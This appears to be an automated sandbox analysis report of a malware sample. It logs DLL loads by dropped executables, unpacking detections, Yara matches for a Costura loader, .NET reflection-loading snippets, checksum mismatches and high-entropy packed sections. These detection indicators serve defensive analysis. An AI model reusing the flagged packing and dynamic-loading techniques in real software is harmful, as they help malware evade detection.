Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: iconcodecservice.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018270001\400f5197b1.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1018270001\400f5197b1.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018270001\400f5197b1.exe	Section loaded: cryptsp.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: file.exe

Static file information: File size 2913280 > 1048576

Source: file.exe

Static PE information: Raw size of oeuwnblr is bigger than: 0x100000 < 0x295800

Source:	Binary string: protobuf-net.pdbSHA256}Lq source: 9f58fa9406.exe, 0000000F.00000002.2774843579.00000000057C0000.00000004.08000000.00040000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2770317391.000000000412D000.00000004.00000800.00020000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2770317391.0000000004061000.00000004.00000800.00020000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2766441206.0000000003061000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: 9f58fa9406.exe, 0000000F.00000002.2774843579.00000000057C0000.00000004.08000000.00040000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2770317391.000000000412D000.00000004.00000800.00020000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2770317391.0000000004061000.00000004.00000800.00020000.00000000.sdmp, 9f58fa9406.exe, 0000000F.00000002.2766441206.0000000003061000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.ea0000.0.unpack :EW;.rsrc:W;.idata :W;oeuwnblr:EW;pajpzcfp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;oeuwnblr:EW;pajpzcfp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.180000.0.unpack :EW;.rsrc:W;.idata :W;oeuwnblr:EW;pajpzcfp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;oeuwnblr:EW;pajpzcfp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.180000.0.unpack :EW;.rsrc:W;.idata :W;oeuwnblr:EW;pajpzcfp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;oeuwnblr:EW;pajpzcfp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.180000.0.unpack :EW;.rsrc:W;.idata :W;oeuwnblr:EW;pajpzcfp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;oeuwnblr:EW;pajpzcfp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Unpacked PE file: 10.2.d6bf37692b.exe.e30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;uzxdwyvi:EW;efzdldig:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;uzxdwyvi:EW;efzdldig:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Unpacked PE file: 16.2.66405b473b.exe.40000.0.unpack :EW;.rsrc:W;.idata :W; :EW;sshkjhii:EW;vjqzdwsz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;sshkjhii:EW;vjqzdwsz:EW;.taggant:EW;

.NET source code contains method to dynamically call methods (often used by packers)

Source: 15.2.9f58fa9406.exe.5640000.6.raw.unpack, AeiCUqBnyecleFheY7m.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, p70yJbu5bF4vKhUO1a.cs	.Net Code: b0a6Vp3JoK System.Reflection.Assembly.Load(byte[])
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, p70yJbu5bF4vKhUO1a.cs	.Net Code: b0a6Vp3JoK System.Reflection.Assembly.Load(byte[])
Source: 15.2.9f58fa9406.exe.5640000.6.raw.unpack, AssemblyLoader.cs	.Net Code: ReadFromEmbeddedResources System.Reflection.Assembly.Load(byte[])
Source: 15.2.9f58fa9406.exe.5640000.6.raw.unpack, EuxBF34qwWmD26WKvD1.cs	.Net Code: sKLAw5LedN
Source: 15.2.9f58fa9406.exe.5640000.6.raw.unpack, EuxBF34qwWmD26WKvD1.cs	.Net Code: y8jxxdpMUc
Source: 15.2.9f58fa9406.exe.5640000.6.raw.unpack, KkDKYJQtr28Q39fE9C.cs	.Net Code: dF2OeZ9i1 System.AppDomain.Load(byte[])

Yara detected Costura Assembly Loader

Source: Yara match	File source: 15.2.9f58fa9406.exe.5700000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.9f58fa9406.exe.408d790.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2766441206.0000000003283000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2773582491.0000000005700000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2770317391.0000000004061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2766441206.0000000003061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9f58fa9406.exe PID: 2232, type: MEMORYSTR

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[2].exe0.6.dr	Static PE information: real checksum: 0x0 should be: 0xd0b9a
Source: random[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x44e20d should be: 0x4442a3
Source: 9f58fa9406.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x11353a
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x0 should be: 0x11353a
Source: 386e7e479d.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xd0b9a
Source: 3a0398bc51.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: 7ba71287b7.exe.6.dr	Static PE information: real checksum: 0x44e20d should be: 0x4442a3
Source: random[2].exe1.6.dr	Static PE information: real checksum: 0x1a555c should be: 0x15e8ab
Source: 66405b473b.exe.6.dr	Static PE information: real checksum: 0x442c76 should be: 0x443cbd
Source: file.exe	Static PE information: real checksum: 0x2c874c should be: 0x2ce37b
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2c874c should be: 0x2ce37b
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1d2d25 should be: 0x1d6b7c
Source: d6bf37692b.exe.6.dr	Static PE information: real checksum: 0x1d2d25 should be: 0x1d6b7c
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x442c76 should be: 0x443cbd
Source: 400f5197b1.exe.6.dr	Static PE information: real checksum: 0x1a555c should be: 0x15e8ab

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: oeuwnblr
Source: file.exe	Static PE information: section name: pajpzcfp
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: oeuwnblr
Source: skotes.exe.0.dr	Static PE information: section name: pajpzcfp
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: sshkjhii
Source: random[2].exe.6.dr	Static PE information: section name: vjqzdwsz
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: 66405b473b.exe.6.dr	Static PE information: section name:
Source: 66405b473b.exe.6.dr	Static PE information: section name: .idata
Source: 66405b473b.exe.6.dr	Static PE information: section name:
Source: 66405b473b.exe.6.dr	Static PE information: section name: sshkjhii
Source: 66405b473b.exe.6.dr	Static PE information: section name: vjqzdwsz
Source: 66405b473b.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe0.6.dr	Static PE information: section name: .CODE
Source: 386e7e479d.exe.6.dr	Static PE information: section name: .CODE
Source: random[2].exe1.6.dr	Static PE information: section name: .eh_fram
Source: 400f5197b1.exe.6.dr	Static PE information: section name: .eh_fram
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: uzxdwyvi
Source: random[1].exe0.6.dr	Static PE information: section name: efzdldig
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: d6bf37692b.exe.6.dr	Static PE information: section name:
Source: d6bf37692b.exe.6.dr	Static PE information: section name: .idata
Source: d6bf37692b.exe.6.dr	Static PE information: section name:
Source: d6bf37692b.exe.6.dr	Static PE information: section name: uzxdwyvi
Source: d6bf37692b.exe.6.dr	Static PE information: section name: efzdldig
Source: d6bf37692b.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: oqomgfsk
Source: random[1].exe1.6.dr	Static PE information: section name: ieoflvje
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: 7ba71287b7.exe.6.dr	Static PE information: section name:
Source: 7ba71287b7.exe.6.dr	Static PE information: section name: .idata
Source: 7ba71287b7.exe.6.dr	Static PE information: section name:
Source: 7ba71287b7.exe.6.dr	Static PE information: section name: oqomgfsk
Source: 7ba71287b7.exe.6.dr	Static PE information: section name: ieoflvje
Source: 7ba71287b7.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EBD91C push ecx; ret	0_2_00EBD92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB1359 push es; ret	0_2_00EB135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0019D91C push ecx; ret	1_2_0019D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0019D91C push ecx; ret	2_2_0019D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0019D91C push ecx; ret	6_2_0019D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0019FD61 push cs; retf	6_2_0019FD63
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001BDEDB push ss; iretd	6_2_001BDEDC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0019DFC6 push ecx; ret	6_2_0019DFD9
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: 7_2_00AD534A push ecx; ret	7_2_00AD535D

Source: file.exe	Static PE information: section name: entropy: 7.983320247485902
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.983320247485902
Source: random[2].exe.6.dr	Static PE information: section name: sshkjhii entropy: 7.955259369169357
Source: 66405b473b.exe.6.dr	Static PE information: section name: sshkjhii entropy: 7.955259369169357
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.974324170155358
Source: random[1].exe0.6.dr	Static PE information: section name: uzxdwyvi entropy: 7.955304664762435
Source: d6bf37692b.exe.6.dr	Static PE information: section name: entropy: 7.974324170155358
Source: d6bf37692b.exe.6.dr	Static PE information: section name: uzxdwyvi entropy: 7.955304664762435
Source: random[1].exe1.6.dr	Static PE information: section name: oqomgfsk entropy: 7.955458885300208
Source: 7ba71287b7.exe.6.dr	Static PE information: section name: oqomgfsk entropy: 7.955458885300208
Source: random[1].exe2.6.dr	Static PE information: section name: .text entropy: 7.73440914387992
Source: 9f58fa9406.exe.6.dr	Static PE information: section name: .text entropy: 7.73440914387992

